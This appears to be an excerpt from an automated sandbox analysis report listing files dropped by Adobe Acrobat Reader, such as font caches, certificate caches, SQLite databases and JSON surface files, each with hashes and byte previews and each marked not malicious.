SHA-256:	1486FD4B7B251149BCFE4A4A0AFDD4871C083726429F67FA9F215F8FF49670D4
SHA-512:	8266520508476694A8D71A1C7C499AD1BAC8A6248615E6EC70D9F64A2EE6322DF5D151C2F248EAD3F1D87AAC6720C8768736AAADCB10193DD42938A09592B316
Malicious:	false
Preview:	BM.......6...(............. ..........................lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..lI..L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L...L

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444690081930708
Encrypted:	false
SSDEEP:	384:yezci5t2iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:r5s3OazzU89UTTgUL
MD5:	E393F637CDB58BF6B6F3C07BB62B022F
SHA1:	189F28F8BA03F1D44B7551824C2AE698A4D47746
SHA-256:	624109A3FBD802412799DF42DB59EE479D016E681AF7237EC63A851267BE3980
SHA-512:	91F97F7C8A48366F38A42EBE70ED891699FB3FE1F749F0C84499199840733ADF78D331090FBC11C8B4CE93EA9A31AD4D519CE84BF1BD78F763B94AC17B6D1AF7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.772851293896635
Encrypted:	false
SSDEEP:	48:7Mqp/E2ioyVoCioy9oWoy1Cwoy1pxKOioy1noy1AYoy1Wioy1hioybioyzLoy1n5:7BpjuoCF6jXKQs5Ab9IVXEBodRBkG
MD5:	89C66AD3F51D83C9AA30FC31B8EBF44E
SHA1:	BA6ED9B0F7E1E276891089AE4258A31411CA89F4
SHA-256:	8D75DB51D02ADB6F364A3D463B01B68277CCB46D41A8030BBE8324CF830D29A8
SHA-512:	F310527F7CC80A4C1896090A35B7C4758FA840132EBA34F6F369E5CB699939D1EBC680D1DB028BB2EC00DEA86AA4C1445D81B58380D635135D2B78E3CBF3DF7C
Malicious:	false
Preview:	.... .c.....L.s................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.779094196322516
Encrypted:	false
SSDEEP:	3:kkFklipkfllXlE/HT8kMvNNX8RolJuRdxLlGB9lQRYwpDdt:kK7p9T8rNMa8RdWBwRd
MD5:	D4EC292E93E5578B81F46BB71861CA65
SHA1:	1BC4F5F44DA5C0301B5855550AB437D02114A9D4
SHA-256:	DC00C0FB8DA5D6B51EAF66BD6243CFF5F1E4AED484953C27CC2FE19F8AD0498A
SHA-512:	836472E079F5248F83F4E242CE817273FFCD11E4309AD263E96E96E5437D22508249B12D39573086DE103C8F12975A0E4EE9856C14817B8FB5C1F0485096FD7D
Malicious:	false
Preview:	p...... .........<..f..(....................................................... ..........W....;+..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2539954282295116
Encrypted:	false
SSDEEP:	6:kKKD9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:vDImsLNkPlE99SNxAhUe/3
MD5:	8EB5CE15BEBE89D410D33C74D046A62F
SHA1:	A747D37FA608FFEC1D8BA9318AA6FE9F68332A79
SHA-256:	7BE65FA3EB4C4D5B7B760221B4ADB9B4F10B48F4FCB97A5A21EDF245AEEFD560
SHA-512:	639B52889D3C5E9E8B74B8243079A9766E6F525CBB18E8B731A5BEDF8B3BC5403090DCD49680397CF9910990D87AC935F0311EE5105A3E33C1953D32F452D378
Malicious:	false
Preview:	p...... ............f..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7344

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7344

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	244540
Entropy (8bit):	3.3415042960460593
Encrypted:	false
SSDEEP:	1536:vKPCPiyzDtrh1cK3XEivK7VK/3AYvYwggErRo+RQn:yPClJ/3AYvYwgrFo+RQn
MD5:	758B42992DDFC41CB5E57069C621B54A
SHA1:	D0C28AF6CF1BD2208DA97DEDE57F6C78CEC98DCD
SHA-256:	55DF75758DD6CA825ED2DC9380EDC8469351191308C34CACFC44205197ABD25D
SHA-512:	437918372167A402005A728DCBBEF7B3A9580B794AD6A948A435C9D57C1672ACC1B7376E2A09113B66600EF5049D23625174256565BC639125A2F2BD07928926
Malicious:	false
Preview:	Adobe Acrobat Reader (64-bit) 23.6.20320....?A12_AV2_Search_18px.............................................................................................................KKK KKK.KKK.KKK.KKK.KKK.KKK@........................................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.............................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.........................KKK.KKK.KKK.KKK0....................KKK.KKK.KKK.KKK`....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK.KKK.....................................KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK.KKK@....................KKK.KKK.KKK.KKK`........................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.KKK.............................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.369993956733569
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlNs9zB19VoZcg1vRcR0Y9RGDeoAvJM3g98kUwPeUkwRe9:YvXKXlNs9t1EZc0vLGMbLUkee9
MD5:	BCA2A232527BED3F329D5B506ED8208C
SHA1:	E620078E030F1DAD2ADA85BC8D4658589C187E2B
SHA-256:	B10B1CAB1EA834C3179722B8D713E31BA63173B855F8C3FC3286FF5254862EB8
SHA-512:	4010591C4EE76AA68C17055DEFE5C0AA5EA4050B5F43BE059E560BE267AB449D2DF6F8C80E15B3218ABA8649DBAA735C5ED29630B4053C458ECFB2AB386B3A86
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfc11891-43af-4c99-b576-37b45b8ce26d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737054474716,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.319851142183534
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlNs9zB19VoZcg1vRcR0Y9RGDeoAvJfBoTfXpnrPeUkwRe9:YvXKXlNs9t1EZc0vLGWTfXcUkee9
MD5:	25229E72177A47D50C3D7DA36CF62290
SHA1:	7B4D9725749DFC27179BAEE932ED2E7F3BC11873
SHA-256:	EA14ED8FCD9315632215186130787BE009D2BD46FF1A7743C96F4B318E360654
SHA-512:	C61405314BCD986A52D945399C76503D88BA74D8C579B78EA003A3DF9E12EA96346B765FE7FFAF1455A55F061FF5F112C9AAF4B91CDC0E8B5BA4A5CB18E7CEB7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfc11891-43af-4c99-b576-37b45b8ce26d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737054474716,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.297701235760604
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlNs9zB19VoZcg1vRcR0Y9RGDeoAvJfBD2G6UpnrPeUkwRe9:YvXKXlNs9t1EZc0vLGR22cUkee9
MD5:	4AC9CB0B1E9CD7B0F786A83FE57C81C0
SHA1:	E6A4BD9CA4FB828CC8EBC014FA267364E99681F1
SHA-256:	C7F638A2B1FD69568A527C36CE878E4A8ED99D4AF510A88DF59454ECEF44E65E
SHA-512:	266A3F0A421F936339B029A5CC82C8E62C1EE728D6738D4EB787C5A708B0D2592CCA456972396C38B04444C04C9A014AD0818BF518A99252777BF7976BF92A33
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfc11891-43af-4c99-b576-37b45b8ce26d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737054474716,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.357237114522285
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlNs9zB19VoZcg1vRcR0Y9RGDeoAvJfPmwrPeUkwRe9:YvXKXlNs9t1EZc0vLGH56Ukee9
MD5:	E452F06F148E4178CDD5F229F6D0B630
SHA1:	EB66939586BB93ACF0CB64E385EF634E35DE32ED
SHA-256:	F9A7818D1E3DC5519FBCAF687D6D0EA59CEAEBC7A16F426095B0EB2124738C24
SHA-512:	1D6BE6542C39FA4C4C2D8C8DFD68DD296C06D212810B6A37A36F4EE78A09E05D20F20404615572E7F287A497E7C3355833E47FDF40834304553D2F99FC642D3B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfc11891-43af-4c99-b576-37b45b8ce26d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737054474716,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6912885250541825
Encrypted:	false
SSDEEP:	24:Yv6XMCzvApLgE9cQx8LennAvzBvkn0RCmK8czOCCS+Y:YvUohgy6SAFv5Ah8cv/+Y
MD5:	39FA3340214D48DEEA4360CA8003355E
SHA1:	EB76BC2D1AD53EF124E023F2420E5EC0C84116CF
SHA-256:	ED004665AB4579EC5C9C5CBF79EE666642792115E28C24141B502D65860C2624
SHA-512:	444C1E3A573BD60515E6369251BB163B56F4A005935F3499387634F28AD3FF1C330204F0C4B21345B9969C808AD701C883CF03BF72BCA31D6BE7A40D814EE284
Malicious:	false
